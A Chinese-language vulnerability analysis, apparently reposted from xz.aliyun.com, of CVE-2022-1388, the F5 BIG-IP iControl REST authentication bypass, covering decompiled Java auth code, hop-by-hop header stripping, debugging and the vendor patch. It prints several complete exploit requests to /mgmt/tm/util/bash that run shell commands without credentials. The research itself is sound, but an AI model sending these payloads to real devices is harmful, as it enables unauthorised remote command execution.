CVE-2022-1388 F5 BIGIP 认证绕过漏洞分析

admin 2022年6月13日14:29:10评论119 views字数 13424阅读44分44秒阅读模式

更多全球网络安全资讯尽在邑安全

概述

官网5月5日漏洞通告:https://support.f5.com/csp/article/K23605346

漏洞影响面:

CVE-2022-1388 F5 BIGIP 认证绕过漏洞分析

作为java初学者,尝试基于大佬们的文章稍微深入的分析了一下,因为能力不足,在分析过程中其实没有保留一个很严谨的思路和逻辑,反倒像自己一些疑问点的探析,可能有点乱,希望能给观者启发,同时求大佬们轻锤。

分析

根据我的上一篇文章对CVE-2021-22986的分析可知

由于数据流是apache获取后根据url的模式将数据包转发给8100的jetty,针对F5 BIG-IP iControl REST API的认证绕过要过两关,分别是apache的认证以及jetty的认证。

apache认证验证逻辑

在CVE-2021-22986影响版本中(我的是16.0.0),针对apache的认证绕过只要满足包头中存在X-F5-Auth-Token字段即可绕过,但是CVE-2021-22986修复版本(我使用的是16.1.2.1)中进行了修复,如果包头X-F5-Auth-Token参数为空则会直接返回401,如果不为空则依然可以转发至jetty。

jetty认证验证逻辑

另外,在CVE-2021-22986影响版本中,jetty认证校验中只要求取包头X-F5-Auth-Token的值结果为null,同时Authorization头中username有效即可(admin为默认有效的username),在CVE-2021-22986修复版本中,则首先会判断包头X-F5-Auth-Token的值结果是否为null,如果不是则使用包头X-F5-Auth-Token的值验证,如果为空则根据Authorization的值来进行判断。

根据CVE-2021-22986修复版本(我使用的是16.1.2.1)中setIdentityFromBasicAuth可知

private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) {
String authHeader = request.getBasicAuthorization();
if (authHeader == null) {
return false;
} else {
final BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host");
if (xForwardedHostHeaderValue == null) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}

return true;
} else {
String[] valueList = xForwardedHostHeaderValue.split(", ");
int valueIdx = valueList.length > 1 ? valueList.length - 1 : 0;
if (!valueList[valueIdx].contains("localhost") && !valueList[valueIdx].contains("127.0.0.1")) {
if (valueList[valueIdx].contains("127.4.2.1") && components.userName.equals("f5hubblelcdadmin")) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}

return true;
} else {
boolean isPasswordExpired = request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true");
if (PasswordUtil.isPasswordReset() && !isPasswordExpired) {
AuthProviderLoginState loginState = new AuthProviderLoginState();
loginState.username = components.userName;
loginState.password = components.password;
loginState.address = request.getRemoteSender();
RestRequestCompletion authCompletion = new RestRequestCompletion() {
public void completed(RestOperation subRequest) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}

}

public void failed(Exception ex, RestOperation subRequest) {
RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new Object[]{ex.getMessage()});
if (ex.getMessage().contains("Password expired")) {
request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION));
}

if (runnable != null) {
runnable.run();
}

}
};

try {
RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), (Integer)null)).setCompletion(authCompletion);
RestRequestSender.sendPost(subRequest);
} catch (URISyntaxException var11) {
LOGGER.warningFmt("ERROR: URISyntaxEception %s", new Object[]{var11.getMessage()});
}

return true;
} else {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}

return true;
}
}
} else {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}

return true;
}
}
}}static {
TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH = TmosAuthProviderCollectionWorker.WORKER_URI_PATH + "/" + TmosAuthProviderCollectionWorker.generatePrimaryKey("tmos") + "/login";}}

修复后的代码针对请求头的X-Forwarded-Host这个list中最后一个元素做了检查,如果是127.0.0.1,或者是127.4.2.1同时username是f5hubblelcdadmin,则依然可以通过认证,但是其他的请求则无法直接通过认证,会检查认证是否过期,如果过期则使用Authoriaztion头中的口令密码重新验证。

hop-by-hop

根据hop-by-hop headers

据RFC 2616,HTTP/1.1 规范默认将以下标头视为逐跳:Keep-AliveTransfer-EncodingTEConnectionTrailerUpgrade和。当在请求中遇到这些标头时,兼容的代理应该处理或操作这些标头所指示的任何内容,而不是将它们转发到下一个跃点.除了这些默认值之外,请求还可以定义一组自定义的标头,通过将它们添加到connection中来逐跳处理,如下所示

Connection: close, X-Foo, X-Bar

这样子,不仅Connection不会呗转发到下一个跃点,而且其中定义的标头X-Foo、X-Bar也同样。参考以下示意图

CVE-2022-1388 F5 BIGIP 认证绕过漏洞分析

组合实现漏洞绕过

一个有效的触发数据包是这样的

POST /mgmt/tm/util/bash HTTP/1.1Host: 127.0.0.1Authorization: Basic YWRtaW46X-F5-Auth-Token: aconnection: X-F5-Auth-TokenContent-type: application/jsonContent-Length: 41{"command":"run", "utilCmdArgs": "-c id"}

CVE-2022-1388 F5 BIGIP 认证绕过漏洞分析

我们可以大胆猜测,在apache检查中,因为头部X-F5-Auth-Token存在值且不为空,所以成功绕过验证;

在转发给jetty处理时根据hop-by-hop会将connection头以及X-F5-Auth-Token去掉转发;

在jetty验证中,再次取X-F5-Auth-Token值为空,X-Forwarded-Host会将Host字段的值添加进来,检查结果为127.0.0.1,且Authoriaztion中username有效(admin),因而认证通过。

如果我们的猜测正确,那么发送以下数据包也应该成功(将Host ip设置为127.4.2.1,Authoriaztion的username设置为f5hubblelcdadmin)

POST /mgmt/tm/util/bash HTTP/1.1Host: 127.4.2.1Authorization: Basic ZjVodWJibGVsY2RhZG1pbjo=X-F5-Auth-Token: aConnection: X-F5-Auth-TokenContent-type: application/jsonContent-Length: 41{"command":"run", "utilCmdArgs": "-c id"}

测试确实成功:

CVE-2022-1388 F5 BIGIP 认证绕过漏洞分析

并且如果在Host值为127.4.2.1的情况下将Authorization的username值设置为admin的话,则会失败,测试确实如所料

CVE-2022-1388 F5 BIGIP 认证绕过漏洞分析

调试

为了验证猜想正确,进行调试分析

调试开启步骤参考上一篇文章,即编辑/var/service/restjavad/run文件,加入

JVM_OPTIONS+=" -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8777"

同时,防火墙开启8777端口

[root@localhost:NO LICENSE:Standalone] / # tmshroot@(localhost)(cfg-sync Standalone)(NO LICENSE)(/Common)(tmos)# security firewallroot@(localhost)(cfg-sync Standalone)(NO LICENSE)(/Common)(tmos.security.firewall)# modify management-ip-rules rules add { allow-access-8777 { action accept destination { ports add { 8777 } } ip-protocol tcp place-before first } }

然后使用idea连接远程调试即可

断点直接下在RestServerServlet.class的service函数中即可,直接看apache传过来的request

CVE-2022-1388 F5 BIGIP 认证绕过漏洞分析

先发送一个可以触发漏洞的包:

POST /mgmt/tm/util/bash HTTP/1.1Host: 127.0.0.1Authorization: Basic YWRtaW46X-F5-Auth-Token: aConnection: X-F5-Auth-TokenContent-type: application/jsonContent-Length: 41{"command":"run", "utilCmdArgs": "-c id"}

此时,在断点处获取到的op的值为

[
id=4255273
referer=null uri=http://localhost:8100/mgmt/tm/util/bash method=POST statusCode=200
contentType=application/json contentLength=41
contentRange=null deadline=Tue May 24 12:16:12 PDT 2022
body=null forceSocket=false
isResponse=false
retriesRemaining=5
coordinationId=null isConnectionCloseRequested=false
isConnectionKeepAlive=true
isRestErrorResponseRequired=true
AdditionalHeadersAsString=
Request: 'Local-Ip-From-Httpd'='172.16.113.247'
'X-Forwarded-Proto'='http'
'X-Forwarded-Server'='localhost.localdomain'
'X-F5-New-Authtok-Reqd'='false'
'X-Forwarded-Host'='127.0.0.1'
Response:<empty> ResponseHeadersTrace=
X-F5-Config-Api-Status=0]

可以看到,X-Forwarded-Host的值就是我们果然传进入的host的值,因为基本上确定,apache在处理过程中将host头参数添加到X-Forwarded-Host参数中并传递给jetty,通过字符串匹配的方法,我们查找并确定时/etc/httpd/modules/mod_proxy.so在处理这个头

CVE-2022-1388 F5 BIGIP 认证绕过漏洞分析

可以看到,apache在处理过程中会调用mod_proxy.so,将Host的值添加到X-Forwarded-Host这个值当中,然后再传递给jetty,jetty又会根据X-Forwarded-Host的值来进行权限验证,整体流程基本清楚。

但是这里我们看到,程序是使用了apr_table_mergen这个方法来将Host的值添加到X-Forwarded-Host当中,而不是使用apr_table_set这个方法直接设置,所以我们试想,如果在发送给apache的包中直接就包含有效的X-Forwarded-Host值会如何呢?

测试发现失败的

CVE-2022-1388 F5 BIGIP 认证绕过漏洞分析

在断点处获得op的值为:

[
id=4260158
referer=null uri=http://localhost:8100/mgmt/tm/util/bash method=POST statusCode=200
contentType=application/json contentLength=41
contentRange=null deadline=Tue May 24 12:40:23 PDT 2022
body=null forceSocket=false
isResponse=false
retriesRemaining=5
coordinationId=null isConnectionCloseRequested=false
isConnectionKeepAlive=true
isRestErrorResponseRequired=true
AdditionalHeadersAsString=
Request: 'Local-Ip-From-Httpd'='172.16.113.247'
'X-Forwarded-Proto'='http'
'X-Forwarded-Server'='localhost.localdomain'
'X-F5-New-Authtok-Reqd'='false'
'X-Forwarded-Host'='127.0.0.1, 123.123.123.123'
Response:<empty> ResponseHeadersTrace=
X-F5-Config-Api-Status=0]

经过调试分析可以看到,jetty拿到的数据包中的X-Forwarded-Host参数融合了Host和原始发送给apache的X-Forwarded-Host参数的值,但是jetty在认证检查setIdentityFromBasicAuth中检查的是X-Forwarded-Host这个列表中最后一个元素的值(即Host头的值),所以只有host的值为127.0.0.1或者127.4.2.1才行

private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) {
String authHeader = request.getBasicAuthorization();
if (authHeader == null) {
return false;
} else {
final BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host");
if (xForwardedHostHeaderValue == null) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
} else {
String[] valueList = xForwardedHostHeaderValue.split(", ");
int valueIdx = valueList.length > 1 ? valueList.length - 1 : 0;
if (!valueList[valueIdx].contains("localhost") && !valueList[valueIdx].contains("127.0.0.1")) {
if (valueList[valueIdx].contains("127.4.2.1") && components.userName.equals("f5hubblelcdadmin")) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}

return true;
} else {
boolean isPasswordExpired = request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true");
if (PasswordUtil.isPasswordReset() && !isPasswordExpired) {
AuthProviderLoginState loginState = new AuthProviderLoginState();
loginState.username = components.userName;
loginState.password = components.password;
loginState.address = request.getRemoteSender();
RestRequestCompletion authCompletion = new RestRequestCompletion() {
public void completed(RestOperation subRequest) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}

}

public void failed(Exception ex, RestOperation subRequest) {
RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new Object[]{ex.getMessage()});
if (ex.getMessage().contains("Password expired")) {
request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION));
}

if (runnable != null) {
runnable.run();
}

}
};

try {
RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), (Integer)null)).setCompletion(authCompletion);
RestRequestSender.sendPost(subRequest);
} catch (URISyntaxException var11) {
LOGGER.warningFmt("ERROR: URISyntaxEception %s", new Object[]{var11.getMessage()});
}

return true;
} else {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}

return true;
}
}
} else {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}

return true;
}
}}}static {
TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH = TmosAuthProviderCollectionWorker.WORKER_URI_PATH + "/" + TmosAuthProviderCollectionWorker.generatePrimaryKey("tmos") + "/login";}}

但是,在jetty中,在RestServerServlet.class中setHostIpAddress中在获取到请求时会检查包头中是否有X-Forwarded-Host参数,如果有则跳过继续运行,如果没有的话则会赋值localhost。所以可以想到,在apache转发给jetty的请求中如果X-Forwarded-Host的值为空或者不存在,也可以绕过认证

CVE-2022-1388 F5 BIGIP 认证绕过漏洞分析

如果直接发送给apache的包头中去掉Host参数,同时也没有X-Forwarded-Host参数的话,jetty获取到的X-Forwarded-Host值应该是空的,但是经过测试,Host参数不能缺少,否则报错

CVE-2022-1388 F5 BIGIP 认证绕过漏洞分析

所以可以考虑通过hop-by-hop的方法,将X-Forwarded-Host添加在connection当中,这样子,在转发给jetty的X-Forwarded-Host参数应该也是空,尝试果然可以

测试果然如所料:

CVE-2022-1388 F5 BIGIP 认证绕过漏洞分析

几种绕过模式总结

经过以上分析,发现绕过apache的思路其实比较单一,就是头中包含X-F5-Auth-Token,并且在connection中包含X-F5-Auth-Token

但是绕过jetty的方式不止一种,简单总结一下:

  1. host的值为127.0.0.1、localhost等值,Authorization为admin的base64

    POST /mgmt/tm/util/bash HTTP/1.1Host: 127.0.0.1Authorization: Basic YWRtaW46X-F5-Auth-Token: aConnection: X-F5-Auth-TokenContent-type: application/jsonContent-Length: 41{"command":"run", "utilCmdArgs": "-c id"}
  2. host的值为127.4.2.1,Authoriaztion为f5hubblelcdadmin的base64

    POST /mgmt/tm/util/bash HTTP/1.1Host: 127.4.2.1Authorization: Basic ZjVodWJibGVsY2RhZG1pbjo=X-F5-Auth-Token: aConnection: X-F5-Auth-TokenContent-type: application/jsonContent-Length: 41{"command":"run", "utilCmdArgs": "-c id"}
  3. host值为默认,connection中包含X-Forwarded-Host的值,造成jetty在检查X-Forwarded-Host发现为空所以置localhost进而绕过

    POST /mgmt/tm/util/bash HTTP/1.1Host: 172.16.113.244Authorization: Basic YWRtaW46X-F5-Auth-Token: aconnection: X-F5-Auth-Token, X-Forwarded-HostContent-type: application/jsonContent-Length: 41{"command":"run", "utilCmdArgs": "-c id"}

修复

安装16.1.2.2修复版本,查看修复情况

mod_auth_pam修复情况

简单查看mod_auth_pam.so针对X-F5-Auth-Token处理的变化

老版本中(16.1.2.1)中,只检查X-F5-Auth-Token的值不为空即可绕过认证

CVE-2022-1388 F5 BIGIP 认证绕过漏洞分析

但是在修复版本(16.1.2.2)中X-F5-Auth-Token不仅不能为空,而且要检查正确性,有效才通过认证

CVE-2022-1388 F5 BIGIP 认证绕过漏洞分析

Apache配置文件修复情况

╰─$ diff ./16.1.2.1/httpd.conf ./16.1.2.2/httpd.conf
1006a1007,1015
> <If "%{HTTP:connection} =~ /close/i ">
> RequestHeader set connection close
> </If>
> <ElseIf "%{HTTP:connection} =~ /keep-alive/i ">
> RequestHeader set connection keep-alive
> </ElseIf>
> <Else>
> RequestHeader set connection close
> </Else>

可以看出配置中新增选项,如果头connection中只要有close字段,则直接将connection的值设置为close,如果头connection中只要有keep-alive字段,则直接将connection的值设置为keep-alive,去除了通过hop-by-hop除去X-F5-Auth-Token头的可能性

实际测试一下,发送以下数据包:

POST /mgmt/tm/util/bash HTTP/1.1Host: 172.16.113.244Authorization: Basic YWRtaW46YWRtaW4=connection: close, X-Forwarded-HostContent-type: application/jsonContent-Length: 41{"command":"run", "utilCmdArgs": "-c id"}

在jetty中下断点,发现X-Forwarded-Host依然存在,且取的是host的值,可判断,通过hop-by-hop除去X-F5-Auth-Token头的方法也不存在

[ id=1690145 referer=null uri=http://localhost:8100/mgmt/tm/util/bash method=POST statusCode=200 contentType=application/json contentLength=41 contentRange=null deadline=Fri May 27 06:17:23 PDT 2022 body=null forceSocket=false isResponse=false retriesRemaining=5 coordinationId=null isConnectionCloseRequested=false isConnectionKeepAlive=true isRestErrorResponseRequired=true AdditionalHeadersAsString=  Request:   'Tmui-Dubbuf'='mbDASW8cWiBbzv7Ey2zxzKtX'   'REMOTECONSOLE'='/bin/false'   'REMOTEROLE'='0'   'Session-Invalid'='true'   'X-Forwarded-Proto'='http'   'X-Forwarded-Host'='172.16.113.244'   'X-F5-New-Authtok-Reqd'='false'   'Local-Ip-From-Httpd'='172.16.113.245'   'X-Forwarded-Server'='localhost.localdomain'  Response:<empty> ResponseHeadersTrace= X-F5-Config-Api-Status=0]

原文来自: xz.aliyun.com

原文链接: https://xz.aliyun.com/t/11418

欢迎收藏并分享朋友圈,让五邑人网络更安全

CVE-2022-1388 F5 BIGIP 认证绕过漏洞分析

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!


推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 



原文始发于微信公众号(邑安全):CVE-2022-1388 F5 BIGIP 认证绕过漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月13日14:29:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-1388 F5 BIGIP 认证绕过漏洞分析https://cn-sec.com/archives/1112487.html

发表评论

匿名网友 填写信息